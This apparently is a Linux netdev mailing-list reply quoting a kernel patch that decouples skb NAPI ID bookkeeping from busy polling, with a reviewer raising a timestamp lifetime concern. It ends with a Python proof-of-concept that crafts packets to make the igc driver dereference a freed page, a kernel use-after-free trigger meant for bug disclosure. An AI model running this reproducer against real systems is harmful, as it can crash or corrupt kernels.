On Thursday, November 5th, 2026 at 4:29 PM, Paul Moses <[email protected]> wrote:
>
>
>
>
> On Thursday, November 5th, 2026 at 1:19 AM, Ding Meng <[email protected]>
> wrote:
>
> > Commit 97dc7cd92ac6 ("ptp: Support late timestamp determination")
> > added support for deferring RX timestamp conversion to
> > ndo_get_tstamp(). When the timestamp is consumed, get_timestamp()
> > uses the skb's NAPI ID to find the device that owns the timestamp
> > cookie and invoke its callback.
> >
> > Commit e68b6e50fa35 ("udp: enable busy polling for all sockets")
> > gated NAPI ID bookkeeping with CONFIG_NET_RX_BUSY_POLL. As a result,
> > when busy polling is disabled, the skb may not carry a usable NAPI ID.
> > The device lookup then fails, so the driver callback is not invoked.
> > get_timestamp() falls back to hwtstamp, which does not contain the
> > converted timestamp, resulting in an incorrect RX hardware timestamp.
> >
> > Record skb NAPI IDs independently of busy-poll support to support
> > drivers that use deferred timestamp conversion and future driver
> > features that need to look up a device by its NAPI ID.
> >
> > Signed-off-by: Ding Meng <[email protected]>
> > Reviewed-by: Florian Bezdeka <[email protected]>
> > ---
> > In the discussion of the issue reported at
> > https://lore.kernel.org/netdev/[email protected]/
> > this previous patch added an igc-specific fallback for configurations
> > with CONFIG_NET_RX_BUSY_POLL disabled. It populated skb's hwtstamp
> > field with a timestamp converted using the default hardware timer,
> > allowing get_timestamp() to return it without invoking ndo_get_tstamp().
> > But Jakub Kicinski noted that the proposed fix appeared to be a
> > driver-specific workaround for a generic problem. The engleder driver
> > would also be affected by the same issue.
> >
> > This patch introduces a new configuration option to enable NAPI ID
> > bookkeeping independently of busy polling. The option is enabled
> > whenever busy polling is enabled, preserving the existing behavior.
> > It is also selected by the igc and engleder drivers, ensuring that
> > skbs carry a NAPI ID even when busy polling is disabled.
> >
> > Another approach considered was to require drivers using deferred
> > timestamp conversion, such as igc and engleder, to enable busy polling.
> > However, this would introduce an unnecessary dependency between two
> > independent features: hardware timestamp reporting should not require
> > busy polling to be enabled.
> >
> > Timestamping has been tested only with igc; it has not been tested
> > with engleder.
> >
> > Documentation/networking/timestamping.rst | 11 ++++++++---
> > drivers/net/ethernet/engleder/Kconfig | 1 +
> > drivers/net/ethernet/intel/Kconfig | 1 +
> > include/linux/skbuff.h | 4 ++--
> > include/net/busy_poll.h | 2 +-
> > include/trace/events/net.h | 2 +-
> > net/Kconfig | 4 ++++
> > net/core/filter.c | 2 +-
> > net/core/skbuff.c | 2 +-
> > 9 files changed, 20 insertions(+), 9 deletions(-)
> >
> > diff --git a/Documentation/networking/timestamping.rst
> > b/Documentation/networking/timestamping.rst
> > index 2162c4f2b28a6..dbe40a1972639 100644
> > --- a/Documentation/networking/timestamping.rst
> > +++ b/Documentation/networking/timestamping.rst
> > @@ -278,9 +278,14 @@ SOF_TIMESTAMPING_OPT_PKTINFO:
> > packets with hardware timestamps. The message contains struct
> > scm_ts_pktinfo, which supplies the index of the real interface which
> > received the packet and its length at layer 2. A valid (non-zero)
> > - interface index will be returned only if CONFIG_NET_RX_BUSY_POLL is
> > - enabled and the driver is using NAPI. The struct contains also two
> > - other fields, but they are reserved and undefined.
> > + interface index will be returned only if CONFIG_SKB_MARK_NAPI_ID is
> > + enabled and the driver is using NAPI. This hidden configuration is
> > + selected automatically by busy-poll support and by drivers that need
> > + skb NAPI IDs to resolve deferred hardware timestamps. Drivers that
> > + use deferred timestamp conversion must select it so the networking
> > + stack can find the device and call its timestamp callback even when
> > + busy polling is disabled. The struct contains also two other fields,
> > + but they are reserved and undefined.
> >
> > SOF_TIMESTAMPING_OPT_TX_SWHW:
> > Request both hardware and software timestamps for outgoing packets
> > diff --git a/drivers/net/ethernet/engleder/Kconfig
> > b/drivers/net/ethernet/engleder/Kconfig
> > index 3df6bf476ae7e..9700a243bea11 100644
> > --- a/drivers/net/ethernet/engleder/Kconfig
> > +++ b/drivers/net/ethernet/engleder/Kconfig
> > @@ -22,6 +22,7 @@ config TSNEP
> > depends on PTP_1588_CLOCK_OPTIONAL
> > select PHYLIB
> > select PAGE_POOL
> > + select SKB_MARK_NAPI_ID
> > help
> > Support for the Engleder TSN endpoint Ethernet MAC IP Core.
> >
> > diff --git a/drivers/net/ethernet/intel/Kconfig
> > b/drivers/net/ethernet/intel/Kconfig
> > index 780f113986ea8..7fb63f351fc20 100644
> > --- a/drivers/net/ethernet/intel/Kconfig
> > +++ b/drivers/net/ethernet/intel/Kconfig
> > @@ -376,6 +376,7 @@ config IGC
> > depends on PCI
> > depends on PTP_1588_CLOCK_OPTIONAL
> > depends on ETHTOOL_NETLINK
> > + select SKB_MARK_NAPI_ID
> > help
> > This driver supports Intel(R) Ethernet Controller I225-LM/I225-V
> > family of adapters.
> > diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
> > index 6787fcf6ac3e4..164c862f7a403 100644
> > --- a/include/linux/skbuff.h
> > +++ b/include/linux/skbuff.h
> > @@ -1059,7 +1059,7 @@ struct sk_buff {
> > __u16 vlan_tci;
> > };
> > };
> > -#if defined(CONFIG_NET_RX_BUSY_POLL) || defined(CONFIG_XPS)
> > +#if defined(CONFIG_SKB_MARK_NAPI_ID) || defined(CONFIG_XPS)
> > union {
> > unsigned int napi_id;
> > unsigned int sender_cpu;
> > @@ -1267,7 +1267,7 @@ static inline bool skb_pkt_type_ok(u32 ptype)
> > */
> > static inline unsigned int skb_napi_id(const struct sk_buff *skb)
> > {
> > -#ifdef CONFIG_NET_RX_BUSY_POLL
> > +#ifdef CONFIG_SKB_MARK_NAPI_ID
> > return skb->napi_id;
> > #else
> > return 0;
> > diff --git a/include/net/busy_poll.h b/include/net/busy_poll.h
> > index 6e172d0f6ef5f..f7c0e62c6a7d7 100644
> > --- a/include/net/busy_poll.h
> > +++ b/include/net/busy_poll.h
> > @@ -130,7 +130,7 @@ static inline void sk_busy_loop(struct sock *sk, int
> > nonblock)
> > static inline void __skb_mark_napi_id(struct sk_buff *skb,
> > const struct gro_node *gro)
> > {
> > -#ifdef CONFIG_NET_RX_BUSY_POLL
> > +#ifdef CONFIG_SKB_MARK_NAPI_ID
> > /* If the skb was already marked with a valid NAPI ID, avoid overwriting
> > * it.
> > */
> > diff --git a/include/trace/events/net.h b/include/trace/events/net.h
> > index dbc2c5598e35a..99ed7645242eb 100644
> > --- a/include/trace/events/net.h
> > +++ b/include/trace/events/net.h
> > @@ -208,7 +208,7 @@ DECLARE_EVENT_CLASS(net_dev_rx_verbose_template,
> >
> > TP_fast_assign(
> > __assign_str(name);
> > -#ifdef CONFIG_NET_RX_BUSY_POLL
> > +#ifdef CONFIG_SKB_MARK_NAPI_ID
> > __entry->napi_id = napi_id_valid(skb->napi_id) ?
> > skb->napi_id : 0;
> > #else
> > diff --git a/net/Kconfig b/net/Kconfig
> > index 76ab44aa439a6..8fa7586dc08ca 100644
> > --- a/net/Kconfig
> > +++ b/net/Kconfig
> > @@ -346,9 +346,13 @@ config CGROUP_NET_CLASSID
> > Cgroup subsystem for use as general purpose socket classid marker
> > that is
> > being used in cls_cgroup and for netfilter matching.
> >
> > +config SKB_MARK_NAPI_ID
> > + bool
> > +
> > config NET_RX_BUSY_POLL
> > bool
> > default y if !PREEMPT_RT || (PREEMPT_RT && !NETCONSOLE)
> > + select SKB_MARK_NAPI_ID
> >
> > config BQL
> > bool
> > diff --git a/net/core/filter.c b/net/core/filter.c
> > index b7ac145b68b1f..e2218c18622b8 100644
> > --- a/net/core/filter.c
> > +++ b/net/core/filter.c
> > @@ -10274,7 +10274,7 @@ static u32 bpf_convert_ctx_access(enum
> > bpf_access_type type,
> > break;
> >
> > case offsetof(struct __sk_buff, napi_id):
> > -#if defined(CONFIG_NET_RX_BUSY_POLL)
> > +#if defined(CONFIG_SKB_MARK_NAPI_ID)
> > *insn++ = BPF_LDX_MEM(BPF_W, si->dst_reg, si->src_reg,
> > bpf_target_off(struct sk_buff, napi_id, 4,
> > target_size));
> > diff --git a/net/core/skbuff.c b/net/core/skbuff.c
> > index eb9fcc4b1fd1a..386a32cdc0cc8 100644
> > --- a/net/core/skbuff.c
> > +++ b/net/core/skbuff.c
> > @@ -1581,7 +1581,7 @@ static void __copy_skb_header(struct sk_buff *new,
> > const struct sk_buff *old)
> > #ifdef CONFIG_NETWORK_SECMARK
> > CHECK_SKB_FIELD(secmark);
> > #endif
> > -#ifdef CONFIG_NET_RX_BUSY_POLL
> > +#ifdef CONFIG_SKB_MARK_NAPI_ID
> > CHECK_SKB_FIELD(napi_id);
> > #endif
> > #ifdef CONFIG_XPS
> >
> > base-commit: d135ab453a7400a34930bdda1ef4bdc8acfac80e
> > --
> > 2.47.3
> >
> >
>
> Are you sure this does not make the preexisting timestamp lifetime
> issue more pathological? I think it needs to be fixed now as well.
> It was the last item mentioned by Sashiko in your review if I
> remember correctly.
>
> Paul
#!/usr/bin/env python3
# igc deferred RX timestamp: freed-page deref attempt on 4 KiB pages.
# - queue small timestamped reply P0 (copied path, netdev_data ptr into page PG)
# - stream large replies (frag path) so PG's two halves are handed to two
# frag skbs; the second one makes igc_can_reuse_rx_page() fail and
# __page_frag_cache_drain() drop the driver's references
# - consume the large skbs: last page ref drops -> page freed
# - recv P0 -> igc_get_tstamp() reads PG
import ctypes, socket, struct, sys, time
from pathlib import Path
IFACE = sys.argv[1] if len(sys.argv) > 1 else "enp2s0"
N = int(sys.argv[2]) if len(sys.argv) > 2 else 560
PEER_MAC = "c0:74:2b:fe:5d:aa"
SRC_IP, DST_IP = "198.18.0.2", "198.18.0.1"
SMALL = 0
LARGE = 1400
SO_ATTACH_FILTER = 26
class SockFilter(ctypes.Structure):
_fields_ = [("code", ctypes.c_ushort), ("jt", ctypes.c_ubyte),
("jf", ctypes.c_ubyte), ("k", ctypes.c_uint)]
class SockFprog(ctypes.Structure):
_fields_ = [("len", ctypes.c_ushort),
("filter", ctypes.POINTER(SockFilter))]
def bpf_prog(insns):
arr = (SockFilter * len(insns))(*insns)
return SockFprog(len(insns), ctypes.cast(arr, ctypes.POINTER(SockFilter))),
arr
def attach_len_filter(sock, keep_large):
BPF_LD_W_LEN, BPF_JMP_JGT_K, BPF_RET_K = 0x80, 0x25, 0x06
if keep_large:
insns = [SockFilter(BPF_LD_W_LEN, 0, 0, 0),
SockFilter(BPF_JMP_JGT_K, 1, 0, 200),
SockFilter(BPF_RET_K, 0, 0, 0),
SockFilter(BPF_RET_K, 0, 0, 0x40000)]
else:
insns = [SockFilter(BPF_LD_W_LEN, 0, 0, 0),
SockFilter(BPF_JMP_JGT_K, 0, 1, 200),
SockFilter(BPF_RET_K, 0, 0, 0),
SockFilter(BPF_RET_K, 0, 0, 0x40000)]
prog, arr = bpf_prog(insns)
sock.setsockopt(socket.SOL_SOCKET, SO_ATTACH_FILTER,
ctypes.string_at(ctypes.byref(prog), ctypes.sizeof(prog)))
return arr
def csum(data):
if len(data) & 1:
data += b"\0"
total = sum(struct.unpack("!" + "H" * (len(data) // 2), data))
while total >> 16:
total = (total & 65535) + (total >> 16)
return (~total) & 65535
def frame(seq, size):
src = bytes.fromhex(Path("/sys/class/net/" + IFACE + "/address")
.read_text().strip().replace(":", ""))
dst = bytes.fromhex(PEER_MAC.replace(":", ""))
payload = bytes(((i * 131 + seq * 17) & 255) for i in range(size))
icmp = struct.pack("!BBHHH", 8, 0, 0, 0x49C6, seq) + payload
icmp = icmp[:2] + struct.pack("!H", csum(icmp)) + icmp[4:]
ip = struct.pack("!BBHHHBBH4s4s", 0x45, 0, 20 + len(icmp), seq, 0x4000,
64, 1, 0, socket.inet_aton(SRC_IP),
socket.inet_aton(DST_IP))
ip = ip[:10] + struct.pack("!H", csum(ip)) + ip[12:]
return dst + src + b"\x08\x00" + ip + icmp
def mksock(keep_large):
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.bind((IFACE, 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 64 << 20)
s.setsockopt(263, 23, 1)
s.setsockopt(socket.SOL_SOCKET, 37, 16 | 64)
attach_len_filter(s, keep_large)
s.setblocking(False)
return s
seen = ctypes.create_string_buffer
small = mksock(False)
large = mksock(True)
# reset stats
small.getsockopt(263, 6, 8)
large.getsockopt(263, 6, 8)
small.send(frame(900, SMALL))
time.sleep(0.3)
print("P0 queued on small socket", flush=True)
t0 = time.time()
for i in range(N):
large.send(frame(2000 + i, LARGE))
time.sleep(0.001)
time.sleep(1.0)
pkt, drop = struct.unpack("=2I", large.getsockopt(263, 6, 8))
print("large burst sent %d, received %d, drops %d, %.3fs"
% (N, pkt, drop, time.time() - t0), flush=True)
# consume the large skbs; frees any page the driver had drained
got = 0
while True:
try:
large.recvmsg(4096, 256)
got += 1
if got % 128 == 0:
time.sleep(0)
except BlockingIOError:
break
print("drained %d large skbs" % got, flush=True)
# now read P0: igc_get_tstamp() dereferences its stale netdev_data
try:
data, anc, flags, addr = small.recvmsg(2048, 512)
print("read P0: %d bytes" % len(data), flush=True)
except BlockingIOError:
print("P0 not queued!", flush=True)